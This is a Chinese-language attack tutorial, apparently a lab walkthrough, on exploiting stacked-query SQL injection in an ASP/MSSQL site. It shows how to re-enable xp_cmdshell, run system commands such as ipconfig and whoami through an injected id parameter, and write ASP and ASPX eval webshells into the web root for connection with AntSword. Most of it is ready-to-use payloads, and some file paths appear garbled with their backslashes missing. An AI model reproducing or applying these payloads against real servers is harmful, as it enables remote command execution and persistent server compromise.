我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、SQLSERVER+ASP 执行系统命令
1、前言
(1)SQLSERVER 的多行操作:在SQLSERVER中一行是可以执行多条语句的,不同的语句之间通过分号分割开,如:select from art; select from admin;
(2)xp_cmdshell默认在mssql 2000中是开启的,在mssql 2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
(3)开启的命令:;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
(4)四条命令解释:
EXEC sp_configure 'show advanced options',1
//允许修改高级参数
RECONFIGURE;
//表示重写配置
EXEC sp_configure 'xp_cmdshell',1
//打开xp_cmdshell扩展
RECONFIGURE;
//表示重写配置
(5)同样的,关闭xp_cmdshell的命令为:;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;
2、SQLSERVER+ASP 执行系统命令示例
(1)执行系统命令:?id=1;EXEC master.dbo.xp_cmdshell 'ipconfig'
(2)开启xp_cmdshell:?id=1;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
(3)再次执行系统命令:?id=1;EXEC master.dbo.xp_cmdshell 'ipconfig'
(4)写入asp一句话,直接getshell: ?id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(97))%^> > C:inetpubwwwrootwww.demo1.com2.asp'--
蚁剑连接:
(5)写入aspx一句话,直接getshell: ?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> > C:inetpubwwwrootwww.demo1.comshell2.aspx'-- 蚁剑连接:
(6)执行系统命令,并且把命令结果输出到指定文件:?id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >> C:inetpubwwwrootwww.demo1.comip.txt' 访问我们写入的ip.txt文件:
(7)执行系统命令,并且把命令结果输出到指定文件:?id=1;EXEC master.dbo.xp_cmdshell 'whoami >> C:inetpubwwwrootwww.demo1.comip.txt'
访问我们写入的ip.txt文件: